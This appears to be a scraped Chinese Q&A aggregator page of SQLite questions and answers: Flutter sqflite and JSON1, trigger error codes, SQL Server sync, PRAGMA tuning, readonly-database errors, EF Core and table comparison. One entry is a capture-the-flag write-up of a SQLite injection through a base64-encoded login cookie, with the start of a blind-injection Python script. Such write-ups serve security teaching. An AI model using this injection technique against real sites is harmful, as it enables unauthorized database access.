sqlite

Loading JSON1 extension with flutter sqflite

由 佐手、 提交于 2020-02-23 03:55:28
问题 In my flutter app I'm using sqflite to talk to a local database. I need to peek into json data for specific queries. The JSON1 extension would be ideal for this. However, I can't find how to load the extension in a flutter app, making it available in my queries, since the documentation for loading the extension is written for C language, not Dart. So, some questions to help me on the way: Should I compile in different architectures for iOS and Android? Where should the compiled file(s) be

Loading JSON1 extension with flutter sqflite

由 情到浓时终转凉″ 提交于 2020-02-23 03:54:10
问题 In my flutter app I'm using sqflite to talk to a local database. I need to peek into json data for specific queries. The JSON1 extension would be ideal for this. However, I can't find how to load the extension in a flutter app, making it available in my queries, since the documentation for loading the extension is written for C language, not Dart. So, some questions to help me on the way: Should I compile in different architectures for iOS and Android? Where should the compiled file(s) be

[BSidesCF 2019]Sequel SQLite注入

由 ￡可爱￡侵袭症＋ 提交于 2020-02-22 19:44:57
[BSidesCF 2019]Sequel SQLite注入 新知识点 ：拿到任意账号后 得到cookie ，再篡改cookie进行注入 原创 HyyMbb 最后发布于2020-02-15 20:51:45 阅读数 16 收藏 展开 题目描述 首先是登录，我们爆破一下就好了~~ 然后得到用户名和密码均为guest~~ 这时登录成功后会返回一个cookie，而且长得很可疑~~ set-cookie: 1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly 1 base64 解密一下得到 {"username":"guest","password":"guest"} 1 于是我们猜测是通过cookie注入~· 但是没想到得是数据库是SQLite，而不是mysql，搞了半天~~~ exp import requests import base64 import string import sys out = "" while True: for letter in string.printable: tmp = out + letter payload = r'{{"username":"\" OR EXISTS(SELECT name FROM sqlite_master WHERE name

How to return custom error code in sqlite3?

由 ￡可爱￡侵袭症＋ 提交于 2020-02-22 17:00:33
问题 I have a trigger statement like this: CREATE TRIGGER update_customer_address UPDATE OF address ON customers BEGIN UPDATE orders SET address = new.address WHERE customer_name = old.name; -- RAISE ... END; END; EDIT: I want to do a step: int result = sqlite3_step(statement); I know result returns the result code like SQLITE_DONE , SQLITE_ROW , and SQLITE_CONSTRAINT . I also discovered that RAISE ABORT within TRIGGER returns SQLITE_CONSTRAINT to result . Is there a way for me to create a custom

如何将SQLite数据几列数据写入服务器的SQLSERVER数据库

由 纵饮孤独 提交于 2020-02-22 14:02:41
SQLite的表和SQLSERVER是一样的 有三个列 CompanyCode CompanyName UpdateFlag Dim ds As DataSet = New DataSet() Dim sql As String sql = " Select * from M_Acc_Title where CompanyCode = '" & CompanyCode & "' and UpdateFlag= '" & UpdateFlag& "'" ds = SQLiteHelper.Query(GlobalCN.LocalCnString, sql)'获取SQLite数据 想将查询出来的结果插入或者更新到服务器上面。 如果，服务器数据库存在相同的CompanyCode ，将相对的CompanyName更新上去， 不存在则插入。 你上面的代码不是拿出了sqlite的数据嘛 你再拿出sqlserver的数据 判断sqlserver中的数据是否存在相同的CompanyCode 如果存在就更新 不存在就新增 dataset里的表，可以批量更新到一个临时表下。然后用merge命令来更新或插入到 目标表就可以了。 merge 目标表 using #临时表 on #临时表.Id = 目标表.Id when matched then update set Name=#临时表.Name --

SQLite 性能优化

由 こ雲淡風輕ζ 提交于 2020-02-22 04:37:58
SQLite性能优化 主要通过pragma指令来实现。 比如： 空间释放、磁盘同步、Cache大小等。 不要打开。前文提高了，Vacuum的效率非常低！ PRAGMA auto_vacuum; PRAGMA auto_vacuum = 0 | 1; 查询或设置数据库的auto-vacuum标记。 正常情况下，当提交一个从数据库中删除数据的事务时，数据库文件不改变大小。未使用的文件页被标记并在以后的添加操作中 再次使用。这种情况下使用VACUUM命令释放删除得到的空间。 当开启auto-vacuum，当提交一个从数据库中删除数据的事务时，数据库文件自动收缩， (VACUUM命令在auto-vacuum开启的数据库中不起作用)。数据库会在内部存储一些信息以便支持这一功能，这使得 数据库文件比不开启该选项时稍微大一些。 只有在数据库中未建任何表时才能改变auto-vacuum标记。试图在已有表的情况下修改不会导致报错。 建议改为8000 PRAGMA cache_size; PRAGMA cache_size = Number-of-pages; 查询或修改SQLite一次存储在内存中的数据库文件页数。每页使用约1.5K内存，缺省的缓存大小是2000. 若需要使用改变大量多行的UPDATE或DELETE命令，并且不介意SQLite使用更多的内存的话，可以增大缓存以提高性能。

python sqlite3 OperationalError: attempt to write a readonly database

由 只愿长相守 提交于 2020-02-21 10:00:33
问题 I am trying to run a Flask REST service on CentOS Apache2 using WSGI. The REST service requires a very small storage. So i decided to use SQLite with sqlite3 python package. The whole application worked perfectly well on my local system and on the CentOS server when ran using app.run() . But when i used WSGI to host the application on Apache, i am getting OperationalError: attempt to write a readonly database I have checked the permissions of the file. The user and group of the file are set

python sqlite3 OperationalError: attempt to write a readonly database

由 北城余情 提交于 2020-02-21 09:59:35
问题 I am trying to run a Flask REST service on CentOS Apache2 using WSGI. The REST service requires a very small storage. So i decided to use SQLite with sqlite3 python package. The whole application worked perfectly well on my local system and on the CentOS server when ran using app.run() . But when i used WSGI to host the application on Apache, i am getting OperationalError: attempt to write a readonly database I have checked the permissions of the file. The user and group of the file are set

How to delete whole database and reset the change tracker with EF Core using SQLite

由 陌路散爱 提交于 2020-02-21 04:57:27
问题 I have a server client architecture where the server provides a Rest API for the clients to synchronize the whole database data. They save it to their local SQLite database. The model is in a shared project and can change sometimes. Therefore the clients need to update their local SQLite database schema. This of course only happens after updating client's software (database file stays unchanged). It's simply achieved by generally deleting the database file and recreating it afterwards.

Comparing two tables in SQLite

由 北战南征 提交于 2020-02-20 08:28:37
问题 I have two tables and want to compare rows on sqlite like this table1 table2 field1 field1 a a b d c f d g e f g h i and I want to produce result like this result_table field1 b c e h i How is the syntax in sqlite? Thanks 回答1: SELECT DISTINCT Field1 FROM Table1 WHERE Field1 Not IN (SELECT DISTINCT Field1 FROM Table2) 回答2: SELECT columns1 FROM table1 EXCEPT SELECT columns2 FROM table2; The SQLite EXCEPT clause returns all rows from the left SELECT statement that are not in the result of the
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